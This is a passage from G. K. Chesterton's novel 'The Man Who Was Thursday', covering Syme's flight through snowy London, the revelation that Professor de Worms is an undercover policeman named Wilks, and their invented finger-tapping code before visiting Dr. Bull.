seemed as if nothing +could tear him away from the contemplation of the colourless wax +doll in dirty evening dress. That any human being should stand in +such weather looking into such a shop was a matter of sufficient +wonder to Syme; but his idle wonder turned suddenly into a personal +shock; for he realised that the man standing there was the +paralytic old Professor de Worms. It scarcely seemed the place for +a person of his years and infirmities. + +Syme was ready to believe anything about the perversions of this +dehumanized brotherhood; but even he could not believe that the +Professor had fallen in love with that particular wax lady. He +could only suppose that the man's malady (whatever it was) involved +some momentary fits of rigidity or trance. He was not inclined, +however, to feel in this case any very compassionate concern. On +the contrary, he rather congratulated himself that the Professor's +stroke and his elaborate and limping walk would make it easy to +escape from him and leave him miles behind. For Syme thirsted first +and last to get clear of the whole poisonous atmosphere, if only +for an hour. Then he could collect his thoughts, formulate his +policy, and decide finally whether he should or should not keep +faith with Gregory. + +He strolled away through the dancing snow, turned up two or three +streets, down through two or three others, and entered a small Soho +restaurant for lunch. He partook reflectively of four small and +quaint courses, drank half a bottle of red wine, and ended up over +black coffee and a black cigar, still thinking. He had taken his +seat in the upper room of the restaurant, which was full of the +chink of knives and the chatter of foreigners. He remembered that +in old days he had imagined that all these harmless and kindly +aliens were anarchists. He shuddered, remembering the real thing. +But even the shudder had the delightful shame of escape. The wine, +the common food, the familiar place, the faces of natural and +talkative men, made him almost feel as if the Council of the Seven +Days had been a bad dream; and although he knew it was nevertheless +an objective reality, it was at least a distant one. Tall houses +and populous streets lay between him and his last sight of the +shameful seven; he was free in free London, and drinking wine among +the free. With a somewhat easier action, he took his hat and stick +and strolled down the stair into the shop below. + +When he entered that lower room he stood stricken and rooted to the +spot. At a small table, close up to the blank window and the white +street of snow, sat the old anarchist Professor over a glass of +milk, with his lifted livid face and pendent eyelids. For an +instant Syme stood as rigid as the stick he leant upon. Then with a +gesture as of blind hurry, he brushed past the Professor, dashing +open the door and slamming it behind him, and stood outside in the +snow. + +"Can that old corpse be following me?" he asked himself, biting his +yellow moustache. "I stopped too long up in that room, so that even +such leaden feet could catch me up. One comfort is, with a little +brisk walking I can put a man like that as far away as Timbuctoo. +Or am I too fanciful? Was he really following me? Surely Sunday +would not be such a fool as to send a lame man? " + +He set off at a smart pace, twisting and whirling his stick, in +the direction of Covent Garden. As he crossed the great market the +snow increased, growing blinding and bewildering as the afternoon +began to darken. The snow-flakes tormented him like a swarm of +silver bees. Getting into his eyes and beard, they added their +unremitting futility to his already irritated nerves; and by the +time that he had come at a swinging pace to the beginning of Fleet +Street, he lost patience, and finding a Sunday teashop, turned +into it to take shelter. He ordered another cup of black coffee +as an excuse. Scarcely had he done so, when Professor de Worms +hobbled heavily into the shop, sat down with difficulty and +ordered a glass of milk. + +Syme's walking-stick had fallen from his hand with a great clang, +which confessed the concealed steel. But the Professor did not look +round. Syme, who was commonly a cool character, was literally +gaping as a rustic gapes at a conjuring trick. He had seen no cab +following; he had heard no wheels outside the shop; to all mortal +appearances the man had come on foot. But the old man could only +walk like a snail, and Syme had walked like the wind. He started up +and snatched his stick, half crazy with the contradiction in mere +arithmetic, and swung out of the swinging doors, leaving his coffee +untasted. An omnibus going to the Bank went rattling by with an +unusual rapidity. He had a violent run of a hundred yards to reach +it; but he managed to spring, swaying upon the splash-board and, +pausing for an instant to pant, he climbed on to the top. When he +had been seated for about half a minute, he heard behind him a sort +of heavy and asthmatic breathing. + +Turning sharply, he saw rising gradually higher and higher up +the omnibus steps a top hat soiled and dripping with snow, and +under the shadow of its brim the short-sighted face and shaky +shoulders of Professor de Worms. He let himself into a seat with +characteristic care, and wrapped himself up to the chin in the +mackintosh rug. + +Every movement of the old man's tottering figure and vague hands, +every uncertain gesture and panic-stricken pause, seemed to put +it beyond question that he was helpless, that he was in the last +imbecility of the body. He moved by inches, he let himself down +with little gasps of caution. And yet, unless the philosophical +entities called time and space have no vestige even of a practical +existence, it appeared quite unquestionable that he had run after +the omnibus. + +Syme sprang erect upon the rocking car, and after staring wildly +at the wintry sky, that grew gloomier every moment, he ran down +the steps. He had repressed an elemental impulse to leap over the +side. + +Too bewildered to look back or to reason, he rushed into one of +the little courts at the side of Fleet Street as a rabbit rushes +into a hole. He had a vague idea, if this incomprehensible old +Jack-in-the-box was really pursuing him, that in that labyrinth of +little streets he could soon throw him off the scent. He dived in +and out of those crooked lanes, which were more like cracks than +thoroughfares; and by the time that he had completed about twenty +alternate angles and described an unthinkable polygon, he paused +to listen for any sound of pursuit. There was none; there could +not in any case have been much, for the little streets were thick +with the soundless snow. Somewhere behind Red Lion Court, however, +he noticed a place where some energetic citizen had cleared away +the snow for a space of about twenty yards, leaving the wet, +glistening cobble-stones. He thought little of this as he passed +it, only plunging into yet another arm of the maze. But when a few +hundred yards farther on he stood still again to listen, his heart +stood still also, for he heard from that space of rugged stones +the clinking crutch and labouring feet of the infernal cripple. + +The sky above was loaded with the clouds of snow, leaving London +in a darkness and oppression premature for that hour of the +evening. On each side of Syme the walls of the alley were blind +and featureless; there was no little window or any kind of eve. He +felt a new impulse to break out of this hive of houses, and to get +once more into the open and lamp-lit street. Yet he rambled and +dodged for a long time before he struck the main thoroughfare. +When he did so, he struck it much farther up than he had fancied. +He came out into what seemed the vast and void of Ludgate Circus, +and saw St. Paul's Cathedral sitting in the sky. + +At first he was startled to find these great roads so empty, as if +a pestilence had swept through the city. Then he told himself that +some degree of emptiness was natural; first because the snow-storm +was even dangerously deep, and secondly because it was Sunday. And +at the very word Sunday he bit his lip; the word was henceforth for +hire like some indecent pun. Under the white fog of snow high up in +the heaven the whole atmosphere of the city was turned to a very +queer kind of green twilight, as of men under the sea. The sealed +and sullen sunset behind the dark dome of St. Paul's had in it +smoky and sinister colours--colours of sickly green, dead red or +decaying bronze, that were just bright enough to emphasise the +solid whiteness of the snow. But right up against these dreary +colours rose the black bulk of the cathedral; and upon the top of +the cathedral was a random splash and great stain of snow, still +clinging as to an Alpine peak. It had fallen accidentally, but just +so fallen as to half drape the dome from its very topmost point, +and to pick out in perfect silver the great orb and the cross. When +Syme saw it he suddenly straightened himself, and made with his +sword-stick an involuntary salute. + +He knew that that evil figure, his shadow, was creeping quickly or +slowly behind him, and he did not care. + +It seemed a symbol of human faith and valour that while the skies +were darkening that high place of the earth was bright. The +devils might have captured heaven, but they had not yet captured +the cross. He had a new impulse to tear out the secret of this +dancing, jumping and pursuing paralytic; and at the entrance of +the court as it opened upon the Circus he turned, stick in hand, +to face his pursuer. + +Professor de Worms came slowly round the corner of the irregular +alley behind him, his unnatural form outlined against a lonely +gas-lamp, irresistibly recalling that very imaginative figure in +the nursery rhymes, "the crooked man who went a crooked mile." He +really looked as if he had been twisted out of shape by the +tortuous streets he had been threading. He came nearer and nearer, +the lamplight shining on his lifted spectacles, his lifted, +patient face. Syme waited for him as St. George waited for the +dragon, as a man waits for a final explanation or for death. And +the old Professor came right up to him and passed him like a total +stranger, without even a blink of his mournful eyelids. + +There was something in this silent and unexpected innocence that +left Syme in a final fury. The man's colourless face and manner +seemed to assert that the whole following had been an accident. +Syme was galvanised with an energy that was something between +bitterness and a burst of boyish derision. He made a wild gesture +as if to knock the old man's hat off, called out something like +"Catch me if you can," and went racing away across the white, open +Circus. Concealment was impossible now; and looking back over his +shoulder, he could see the black figure of the old gentleman coming +after him with long, swinging strides like a man winning a mile +race. But the head upon that bounding body was still pale, grave +and professional, like the head of a lecturer upon the body of a +harlequin. + +This outrageous chase sped across Ludgate Circus, up Ludgate Hill, +round St. Paul's Cathedral, along Cheapside, Syme remembering all +the nightmares he had ever known. Then Syme broke away towards the +river, and ended almost down by the docks. He saw the yellow panes +of a low, lighted public-house, flung himself into it and ordered +beer. It was a foul tavern, sprinkled with foreign sailors, a +place where opium might be smoked or knives drawn. + +A moment later Professor de Worms entered the place, sat down +carefully, and asked for a glass of milk. + + + +CHAPTER VIII + +THE PROFESSOR EXPLAINS + +WHEN Gabriel Syme found himself finally established in a chair, +and opposite to him, fixed and final also, the lifted eyebrows and +leaden eyelids of the Professor, his fears fully returned. This +incomprehensible man from the fierce council, after all, had +certainly pursued him. If the man had one character as a paralytic +and another character as a pursuer, the antithesis might make him +more interesting, but scarcely more soothing. It would be a very +small comfort that he could not find the Professor out, if by some +serious accident the Professor should find him out. He emptied a +whole pewter pot of ale before the professor had touched his milk. + +One possibility, however, kept him hopeful and yet helpless. It was +just possible that this escapade signified something other than +even a slight suspicion of him. Perhaps it was some regular form or +sign. Perhaps the foolish scamper was some sort of friendly signal +that he ought to have understood. Perhaps it was a ritual. Perhaps +the new Thursday was always chased along Cheapside, as the new Lord +Mayor is always escorted along it. He was just selecting a +tentative inquiry, when the old Professor opposite suddenly and +simply cut him short. Before Syme could ask the first diplomatic +question, the old anarchist had asked suddenly, without any sort of +preparation-- + +"Are you a policeman?" + +Whatever else Syme had expected, he had never expected anything so +brutal and actual as this. Even his great presence of mind could +only manage a reply with an air of rather blundering jocularity. + +"A policeman?" he said, laughing vaguely. "Whatever made you think +of a policeman in connection with me?" + +"The process was simple enough," answered the Professor patiently. +"I thought you looked like a policeman. I think so now." + +"Did I take a policeman's hat by mistake out of the restaurant?" +asked Syme, smiling wildly. "Have I by any chance got a number +stuck on to me somewhere? Have my boots got that watchful look? +Why must I be a policeman? Do, do let me be a postman." + +The old Professor shook his head with a gravity that gave no hope, +but Syme ran on with a feverish irony. + +"But perhaps I misunderstood the delicacies of your German +philosophy. Perhaps policeman is a relative term. In an +evolutionary sense, sir, the ape fades so gradually into the +policeman, that I myself can never detect the shade. The monkey is +only the policeman that may be. Perhaps a maiden lady on Clapham +Common is only the policeman that might have been. I don't mind +being the policeman that might have been. I don't mind being +anything in German thought." + +"Are you in the police service?" said the old man, ignoring all +Syme's improvised and desperate raillery. "Are you a detective?" + +Syme's heart turned to stone, but his face never changed. + +"Your suggestion is ridiculous," he began. "Why on earth--" + +The old man struck his palsied hand passionately on the rickety +table, nearly breaking it. + +"Did you hear me ask a plain question, you pattering spy?" he +shrieked in a high, crazy voice. "Are you, or are you not, a +police detective?" + +"No!" answered Syme, like a man standing on the hangman's drop. + +"You swear it," said the old man, leaning across to him, his dead +face becoming as it were loathsomely alive. "You swear it! You +swear it! If you swear falsely, will you be damned? Will you be +sure that the devil dances at your funeral? Will you see that the +nightmare sits on your grave? Will there really be no mistake? You +are an anarchist, you are a dynamiter! Above all, you are not in +any sense a detective? You are not in the British police?" + +He leant his angular elbow far across the table, and put up his +large loose hand like a flap to his ear. + +"I am not in the British police," said Syme with insane calm. + +Professor de Worms fell back in his chair with a curious air of +kindly collapse. + +"That's a pity," he said, "because I am." + +Syme sprang up straight, sending back the bench behind him with a +crash. + +"Because you are what?" he said thickly. "You are what?" + +"I am a policeman," said the Professor with his first broad smile. +and beaming through his spectacles. "But as you think policeman +only a relative term, of course I have nothing to do with you. I +am in the British police force; but as you tell me you are not in +the British police force, I can only say that I met you in a +dynamiters' club. I suppose I ought to arrest you." And with these +words he laid on the table before Syme an exact facsimile of the +blue card which Syme had in his own waistcoat pocket, the symbol +of his power from the police. + +Syme had for a flash the sensation that the cosmos had turned +exactly upside down, that all trees were growing downwards and +that all stars were under his feet. Then came slowly the opposite +conviction. For the last twenty-four hours the cosmos had really +been upside down, but now the capsized universe had come right side +up again. This devil from whom he had been fleeing all day was only +an elder brother of his own house, who on the other side of the +table lay back and laughed at him. He did not for the moment ask +any questions of detail; he only knew the happy and silly fact that +this shadow, which had pursued him with an intolerable oppression +of peril, was only the shadow of a friend trying to catch him up. +He knew simultaneously that he was a fool and a free man. For with +any recovery from morbidity there must go a certain healthy +humiliation. There comes a certain point in such conditions when +only three things are possible: first a perpetuation of Satanic +pride, secondly tears, and third laughter. Syme's egotism held hard +to the first course for a few seconds, and then suddenly adopted +the third. Taking his own blue police ticket from his own waist +coat pocket, he tossed it on to the table; then he flung his head +back until his spike of yellow beard almost pointed at the ceiling, +and shouted with a barbaric laughter. + +Even in that close den, perpetually filled with the din of knives, +plates, cans, clamorous voices, sudden struggles and stampedes, +there was something Homeric in Syme's mirth which made many +half-drunken men look round. + +"What yer laughing at, guv'nor?" asked one wondering labourer from +the docks. + +"At myself," answered Syme, and went off again into the agony of +his ecstatic reaction. + +"Pull yourself together," said the Professor, "or you'll get +hysterical. Have some more beer. I'll join you." + +"You haven't drunk your milk," said Syme. + +"My milk!" said the other, in tones of withering and unfathomable +contempt, "my milk! Do you think I'd look at the beastly stuff when +I'm out of sight of the bloody anarchists? We're all Christians in +this room, though perhaps," he added, glancing around at the +reeling crowd, "not strict ones. Finish my milk? Great blazes! yes, +I'll finish it right enough!" and he knocked the tumbler off the +table, making a crash of glass and a splash of silver fluid. + +Syme was staring at him with a happy curiosity. + +"I understand now," he cried; "of course, you're not an old man at +all." + +"I can't take my face off here," replied Professor de Worms. "It's +rather an elaborate make-up. As to whether I'm an old man, that's +not for me to say. I was thirty-eight last birthday." + +"Yes, but I mean," said Syme impatiently, "there's nothing the +matter with you." + +"Yes," answered the other dispassionately. "I am subject to colds." + +Syme's laughter at all this had about it a wild weakness of relief. +He laughed at the idea of the paralytic Professor being really a +young actor dressed up as if for the foot-lights. But he felt that +he would have laughed as loudly if a pepperpot had fallen over. + +The false Professor drank and wiped his false beard. + +"Did you know," he asked, "that that man Gogol was one of us?" + +"I? No, I didn't know it," answered Syme in some surprise. "But +didn't you?" + +"I knew no more than the dead," replied the man who called himself +de Worms. "I thought the President was talking about me, and I +rattled in my boots." + +"And I thought he was talking about me," said Syme, with his rather +reckless laughter. "I had my hand on my revolver all the time." + +"So had I," said the Professor grimly; "so had Gogol evidently." + +Syme struck the table with an exclamation. + +"Why, there were three of us there!" he cried. "Three out of seven +is a fighting number. If we had only known that we were three!" + +The face of Professor de Worms darkened, and he did not look up. + +"We were three," he said. "If we had been three hundred we could +still have done nothing." + +"Not if we were three hundred against four?" asked Syme, jeering +rather boisterously. + +"No," said the Professor with sobriety, "not if we were three +hundred against Sunday." + +And the mere name struck Syme cold and serious; his laughter had +died in his heart before it could die on his lips. The face of +the unforgettable President sprang into his mind as startling as +a coloured photograph, and he remarked this difference between +Sunday and all his satellites, that their faces, however fierce +or sinister, became gradually blurred by memory like other human +faces, whereas Sunday's seemed almost to grow more actual during +absence, as if a man's painted portrait should slowly come alive. + +They were both silent for a measure of moments, and then Syme's +speech came with a rush, like the sudden foaming of champagne. + +"Professor," he cried, "it is intolerable. Are you afraid of this +man?" + +The Professor lifted his heavy lids, and gazed at Syme with large, +wide-open, blue eyes of an almost ethereal honesty. + +"Yes, I am," he said mildly. "So are you." + +Syme was dumb for an instant. Then he rose to his feet erect, like +an insulted man, and thrust the chair away from him. + +"Yes," he said in a voice indescribable, "you are right. I am +afraid of him. Therefore I swear by God that I will seek out this +man whom I fear until I find him, and strike him on the mouth. If +heaven were his throne and the earth his footstool, I swear that +I would pull him down." + +"How?" asked the staring Professor. "Why?" + +"Because I am afraid of him," said Syme; "and no man should leave +in the universe anything of which he is afraid." + +De Worms blinked at him with a sort of blind wonder. He made an +effort to speak, but Syme went on in a low voice, but with an +undercurrent of inhuman exaltation-- + +"Who would condescend to strike down the mere things that he does +not fear? Who would debase himself to be merely brave, like any +common prizefighter? Who would stoop to be fearless--like a tree? +Fight the thing that you fear. You remember the old tale of the +English clergyman who gave the last rites to the brigand of Sicily, +and how on his death-bed the great robber said, 'I can give you no +money, but I can give you advice for a lifetime: your thumb on the +blade, and strike upwards.' So I say to you, strike upwards, if you +strike at the stars." + +The other looked at the ceiling, one of the tricks of his pose. + +"Sunday is a fixed star," he said. + +"You shall see him a falling star," said Syme, and put on his hat. + +The decision of his gesture drew the Professor vaguely to his feet. + +"Have you any idea," he asked, with a sort of benevolent +bewilderment, "exactly where you are going?" + +"Yes," replied Syme shortly, "I am going to prevent this bomb being +thrown in Paris." + +"Have you any conception how?" inquired the other. + +"No," said Syme with equal decision. + +"You remember, of course," resumed the soi-disant de Worms, pulling +his beard and looking out of the window, "that when we broke up +rather hurriedly the whole arrangements for the atrocity were left +in the private hands of the Marquis and Dr. Bull. The Marquis is by +this time probably crossing the Channel. But where he will go and +what he will do it is doubtful whether even the President knows; +certainly we don't know. The only man who does know is Dr. Bull. + +"Confound it!" cried Syme. "And we don't know where he is." + +"Yes," said the other in his curious, absent-minded way, "I know +where he is myself." + +"Will you tell me?" asked Syme with eager eyes. + +"I will take you there," said the Professor, and took down his own +hat from a peg. + +Syme stood looking at him with a sort of rigid excitement. + +"What do you mean?" he asked sharply. "Will you join me? Will you +take the risk?" + +"Young man," said the Professor pleasantly, "I am amused to observe +that you think I am a coward. As to that I will say only one word, +and that shall be entirely in the manner of your own philosophical +rhetoric. You think that it is possible to pull down the President. +I know that it is impossible, and I am going to try it," and +opening the tavern door, which let in a blast of bitter air, they +went out together into the dark streets by the docks. + +Most of the snow was melted or trampled to mud, but here and there +a clot of it still showed grey rather than white in the gloom. The +small streets were sloppy and full of pools, which reflected the +flaming lamps irregularly, and by accident, like fragments of some +other and fallen world. Syme felt almost dazed as he stepped +through this growing confusion of lights and shadows; but his +companion walked on with a certain briskness, towards where, at +the end of the street, an inch or two of the lamplit river looked +like a bar of flame. + +"Where are you going?" Syme inquired. + +"Just now," answered the Professor, "I am going just round the +corner to see whether Dr. Bull has gone to bed. He is hygienic, +and retires early." + +"Dr. Bull!" exclaimed Syme. "Does he live round the corner?" + +"No," answered his friend. "As a matter of fact he lives some way +off, on the other side of the river, but we can tell from here +whether he has gone to bed." + +Turning the corner as he spoke, and facing the dim river, flecked +with flame, he pointed with his stick to the other bank. On the +Surrey side at this point there ran out into the Thames, seeming +almost to overhang it, a bulk and cluster of those tall tenements, +dotted with lighted windows, and rising like factory chimneys to +an almost insane height. Their special poise and position made one +block of buildings especially look like a Tower of Babel with a +hundred eyes. Syme had never seen any of the sky-scraping buildings +in America, so he could only think of the buildings in a dream. + +Even as he stared, the highest light in this innumerably lighted +turret abruptly went out, as if this black Argus had winked at him +with one of his innumerable eyes. + +Professor de Worms swung round on his heel, and struck his stick +against his boot. + +"We are too late," he said, "the hygienic Doctor has gone to bed." + +"What do you mean?" asked Syme. "Does he live over there, then?" + +"Yes," said de Worms, "behind that particular window which you +can't see. Come along and get some dinner. We must call on him +tomorrow morning." + +Without further parley, he led the way through several by-ways +until they came out into the flare and clamour of the East India +Dock Road. The Professor, who seemed to know his way about the +neighbourhood, proceeded to a place where the line of lighted +shops fell back into a sort of abrupt twilight and quiet, in which +an old white inn, all out of repair, stood back some twenty feet +from the road. + +"You can find good English inns left by accident everywhere, like +fossils," explained the Professor. "I once found a decent place in +the West End." + +"I suppose," said Syme, smiling, "that this is the corresponding +decent place in the East End?" + +"It is," said the Professor reverently, and went in. + +In that place they dined and slept, both very thoroughly. The +beans and bacon, which these unaccountable people cooked well, +the astonishing emergence of Burgundy from their cellars, crowned +Syme's sense of a new comradeship and comfort. Through all this +ordeal his root horror had been isolation, and there are no words +to express the abyss between isolation and having one ally. It may +be conceded to the mathematicians that four is twice two. But two +is not twice one; two is two thousand times one. That is why, in +spite of a hundred disadvantages, the world will always return to +monogamy. + +Syme was able to pour out for the first time the whole of his +outrageous tale, from the time when Gregory had taken him to +the little tavern by the river. He did it idly and amply, in a +luxuriant monologue, as a man speaks with very old friends. On +his side, also, the man who had impersonated Professor de Worms +was not less communicative. His own story was almost as silly as +Syme's. + +"That's a good get-up of yours," said Syme, draining a glass of +Macon; "a lot better than old Gogol's. Even at the start I thought +he was a bit too hairy." + +"A difference of artistic theory," replied the Professor pensively. +"Gogol was an idealist. He made up as the abstract or platonic +ideal of an anarchist. But I am a realist. I am a portrait painter. +But, indeed, to say that I am a portrait painter is an inadequate +expression. I am a portrait." + +"I don't understand you," said Syme. + +"I am a portrait," repeated the Professor. "I am a portrait of the +celebrated Professor de Worms, who is, I believe, in Naples." + +"You mean you are made up like him," said Syme. "But doesn't he +know that you are taking his nose in vain?" + +"He knows it right enough," replied his friend cheerfully. + +"Then why doesn't he denounce you?" + +"I have denounced him," answered the Professor. + +"Do explain yourself," said Syme. + +"With pleasure, if you don't mind hearing my story," replied the +eminent foreign philosopher. "I am by profession an actor, and my +name is Wilks. When I was on the stage I mixed with all sorts of +Bohemian and blackguard company. Sometimes I touched the edge of +the turf, sometimes the riff-raff of the arts, and occasionally the +political refugee. In some den of exiled dreamers I was introduced +to the great German Nihilist philosopher, Professor de Worms. I did +not gather much about him beyond his appearance, which was very +disgusting, and which I studied carefully. I understood that he had +proved that the destructive principle in the universe was God; +hence he insisted on the need for a furious and incessant energy, +rending all things in pieces. Energy, he said, was the All. He was +lame, shortsighted, and partially paralytic. When I met him I was +in a frivolous mood, and I disliked him so much that I resolved to +imitate him. If I had been a draughtsman I would have drawn a +caricature. I was only an actor, I could only act a caricature. I +made myself up into what was meant for a wild exaggeration of the +old Professor's dirty old self. When I went into the room full of +his supporters I expected to be received with a roar of laughter, +or (if they were too far gone) with a roar of indignation at the +insult. I cannot describe the surprise I felt when my entrance was +received with a respectful silence, followed (when I had first +opened my lips) with a murmur of admiration. The curse of the +perfect artist had fallen upon me. I had been too subtle, I had +been too true. They thought I really was the great Nihilist +Professor. I was a healthy-minded young man at the time, and I +confess that it was a blow. Before I could fully recover, however, +two or three of these admirers ran up to me radiating indignation, +and told me that a public insult had been put upon me in the next +room. I inquired its nature. It seemed that an impertinent fellow +had dressed himself up as a preposterous parody of myself. I had +drunk more champagne than was good for me, and in a flash of folly +I decided to see the situation through. Consequently it was to meet +the glare of the company and my own lifted eyebrows and freezing +eyes that the real Professor came into the room. + +"I need hardly say there was a collision. The pessimists all round +me looked anxiously from one Professor to the other Professor to +see which was really the more feeble. But I won. An old man in poor +health, like my rival, could not be expected to be so impressively +feeble as a young actor in the prime of life. You see, he really +had paralysis, and working within this definite limitation, he +couldn't be so jolly paralytic as I was. Then he tried to blast my +claims intellectually. I countered that by a very simple dodge. +Whenever he said something that nobody but he could understand, I +replied with something which I could not even understand myself. +'I don't fancy,' he said, 'that you could have worked out the +principle that evolution is only negation, since there inheres in +it the introduction of lacuna, which are an essential of +differentiation.' I replied quite scornfully, 'You read all that up +in Pinckwerts; the notion that involution functioned eugenically +was exposed long ago by Glumpe.' It is unnecessary for me to say +that there never were such people as Pinckwerts and Glumpe. But the +people all round (rather to my surprise) seemed to remember them +quite well, and the Professor, finding that the learned and +mysterious method left him rather at the mercy of an enemy slightly +deficient in scruples, fell back upon a more popular form of wit. +'I see,' he sneered, 'you prevail like the false pig in Aesop.' +'And you fail,' I answered, smiling, 'like the hedgehog in +Montaigne.' Need I say that there is no hedgehog in Montaigne? +'Your claptrap comes off,' he said; 'so would your beard.' I had no +intelligent answer to this, which was quite true and rather witty. +But I laughed heartily, answered, 'Like the Pantheist's boots,' at +random, and turned on my heel with all the honours of victory. The +real Professor was thrown out, but not with violence, though one +man tried very patiently to pull off his nose. He is now, I +believe, received everywhere in Europe as a delightful impostor. +His apparent earnestness and anger, you see, make him all the more +entertaining." + +"Well," said Syme, "I can understand your putting on his dirty old +beard for a night's practical joke, but I don't understand your +never taking it off again." + +"That is the rest of the story," said the impersonator. "When I +myself left the company, followed by reverent applause, I went +limping down the dark street, hoping that I should soon be far +enough away to be able to walk like a human being. To my +astonishment, as I was turning the corner, I felt a touch on the +shoulder, and turning, found myself under the shadow of an enormous +policeman. He told me I was wanted. I struck a sort of paralytic +attitude, and cried in a high German accent, 'Yes, I am wanted--by +the oppressed of the world. You are arresting me on the charge of +being the great anarchist, Professor de Worms.' The policeman +impassively consulted a paper in his hand, 'No, sir,' he said +civilly, 'at least, not exactly, sir. I am arresting you on the +charge of not being the celebrated anarchist, Professor de Worms.' +This charge, if it was criminal at all, was certainly the lighter +of the two, and I went along with the man, doubtful, but not +greatly dismayed. I was shown into a number of rooms, and +eventually into the presence of a police officer, who explained +that a serious campaign had been opened against the centres of +anarchy, and that this, my successful masquerade, might be of +considerable value to the public safety. He offered me a good +salary and this little blue card. Though our conversation was +short, he struck me as a man of very massive common sense and +humour; but I cannot tell you much about him personally, because--" + +Syme laid down his knife and fork. + +"I know," he said, "because you talked to him in a dark room." + +Professor de Worms nodded and drained his glass. + + + +CHAPTER IX + +THE MAN IN SPECTACLES + +"BURGUNDY is a jolly thing," said the Professor sadly, as he set +his glass down. + +"You don't look as if it were," said Syme; "you drink it as if it +were medicine." + +"You must excuse my manner," said the Professor dismally, "my +position is rather a curious one. Inside I am really bursting with +boyish merriment; but I acted the paralytic Professor so well, that +now I can't leave off. So that when I am among friends, and have no +need at all to disguise myself, I still can't help speaking slow +and wrinkling my forehead--just as if it were my forehead. I can be +quite happy, you understand, but only in a paralytic sort of way. +The most buoyant exclamations leap up in my heart, but they come +out of my mouth quite different. You should hear me say, 'Buck up, +old cock!' It would bring tears to your eyes." + +"It does," said Syme; "but I cannot help thinking that apart from +all that you are really a bit worried." + +The Professor started a little and looked at him steadily. + +"You are a very clever fellow," he said, "it is a pleasure to work +with you. Yes, I have rather a heavy cloud in my head. There is a +great problem to face," and he sank his bald brow in his two hands. + +Then he said in a low voice-- + +"Can you play the piano?" + +"Yes," said Syme in simple wonder, "I'm supposed to have a good +touch." + +Then, as the other did not speak, he added-- + +"I trust the great cloud is lifted." + +After a long silence, the Professor said out of the cavernous +shadow of his hands-- + +"It would have done just as well if you could work a typewriter." + +"Thank you," said Syme, "you flatter me." + +"Listen to me," said the other, "and remember whom we have to see +tomorrow. You and I are going tomorrow to attempt something which +is very much more dangerous than trying to steal the Crown Jewels +out of the Tower. We are trying to steal a secret from a very +sharp, very strong, and very wicked man. I believe there is no man, +except the President, of course, who is so seriously startling and +formidable as that little grinning fellow in goggles. He has not +perhaps the white-hot enthusiasm unto death, the mad martyrdom for +anarchy, which marks the Secretary. But then that very fanaticism +in the Secretary has a human pathos, and is almost a redeeming +trait. But the little Doctor has a brutal sanity that is more +shocking than the Secretary's disease. Don't you notice his +detestable virility and vitality. He bounces like an india-rubber +ball. Depend on it, Sunday was not asleep (I wonder if he ever +sleeps?) when he locked up all the plans of this outrage in the +round, black head of Dr. Bull." + +"And you think," said Syme, "that this unique monster will be +soothed if I play the piano to him?" + +"Don't be an ass," said his mentor. "I mentioned the piano because +it gives one quick and independent fingers. Syme, if we are to go +through this interview and come out sane or alive, we must have +some code of signals between us that this brute will not see. I +have made a rough alphabetical cypher corresponding to the five +fingers--like this, see," and he rippled with his fingers on the +wooden table--"B A D, bad, a word we may frequently require." + +Syme poured himself out another glass of wine, and began to study +the scheme. He was abnormally quick with his brains at puzzles, +and with his hands at conjuring, and it did not take him long to +learn how he might convey simple messages by what would seem to +be idle taps upon a table or knee. But wine and companionship had +always the effect of inspiring him to a farcical ingenuity, and +the Professor soon found himself struggling with the too vast +energy of the new language, as it passed through the heated brain +of Syme. + +"We must have several word-signs," said Syme seriously--"words that +we are likely to want, fine shades of meaning. My favourite word is +'coeval'. What's yours?" + +"Do stop playing the goat," said the Professor plaintively. "You +don't know how serious this is." + +"'Lush' too," said Syme, shaking his head sagaciously, "we must +have 'lush'--word applied to grass, don't you know?" + +"Do you imagine," asked the Professor furiously, "that we are going +to talk to Dr. Bull about grass?" + +"There are several ways in which the subject could be approached," +said Syme reflectively, "and the word introduced without appearing +forced. We might say, 'Dr. Bull, as a revolutionist, you remember +that a tyrant once advised us to eat grass; and indeed many of us, +looking on the fresh lush grass of summer"' + +"Do you understand," said the other, "that this is a tragedy?" + +"Perfectly," replied Syme; "always be comic in a tragedy. What +the deuce else can you do? I wish this language of yours had a +wider scope. I suppose we could not extend it from the fingers +to the toes? That would involve pulling off our boots and socks +during the conversation, which however unobtrusively performed--" + +"Syme," said his friend with a stern simplicity, "go to bed!" + +Syme, however, sat up in bed for a considerable time mastering the +new code. He was awakened next morning while the east was still +sealed with darkness, and found his grey-bearded ally standing like +a ghost beside his bed. + +Syme sat up in bed blinking; then slowly collected his thoughts, +threw off the bed-clothes, and stood up. It seemed to him in some +curious way that all the safety and sociability of the night before +fell with the bedclothes off him, and he stood up in an air of cold +danger. He still felt an entire trust and loyalty towards his +companion; but it was the trust between two men going to the +scaffold. + +"Well," said Syme with a forced cheerfulness as he pulled on his +trousers, "I dreamt of that alphabet of yours. Did it take you +long to make it up?" + +The Professor made no answer, but gazed in front of him with eyes +the colour of a wintry sea; so Syme repeated his question. + +"I say, did it take you long to invent all this? I'm considered +good at these things, and it was a good hour's grind. Did you +learn it all on the spot?" + +The Professor was silent; his eyes were wide open, and he wore a +fixed but very small smile. + +"How long did it take you?" + +The Professor did not move. + +"Confound you, can't you answer?" called out Syme, in a sudden +anger that had something like fear underneath. Whether or no the +Professor could answer, he did not. + +Syme stood staring back at the stiff face like parchment and the +blank, blue eyes. His first thought was that the Professor had gone +mad, but his second thought was more frightful. After all, what did +he know about this queer creature whom he had heedlessly accepted +as a friend? What did he know, except that the man had been at the +anarchist breakfast and had told him a ridiculous tale? How +improbable it was that there should be another friend there beside +Gogol! Was this man's silence a sensational way of declaring war? +Was this adamantine stare after all only the awful sneer of some +threefold traitor, who had turned for the last time? He stood and +strained his ears in this heartless silence. He almost fancied he +could hear dynamiters come to capture him shifting softly in the +corridor outside. + +Then his eye strayed downwards, and he burst out laughing. Though +the Professor himself stood there as voiceless as a statue, his +five dumb fingers were dancing alive upon the dead table. Syme +watched the twinkling movements of the talking hand, and read +clearly the message-- + +"I will only talk like this. We must get used to it." + +He rapped out the answer with the impatience of relief-- + +"All right. Let's get out to breakfast." + +They took their hats and sticks in silence; but as Syme took his +sword-stick, he held it hard. + +They paused for a few minutes only to stuff down coffee and coarse +thick sandwiches at a coffee stall, and then made their way across +the river, which under the grey and growing light looked as +desolate as Acheron. They reached the bottom of the huge block of +buildings which they had seen from across the river, and began in +silence to mount the naked and numberless stone steps, only pausing +now and then to make short remarks on the rail of the banisters. At +about every other flight they passed a window; each window showed +them a pale and tragic dawn lifting itself laboriously over 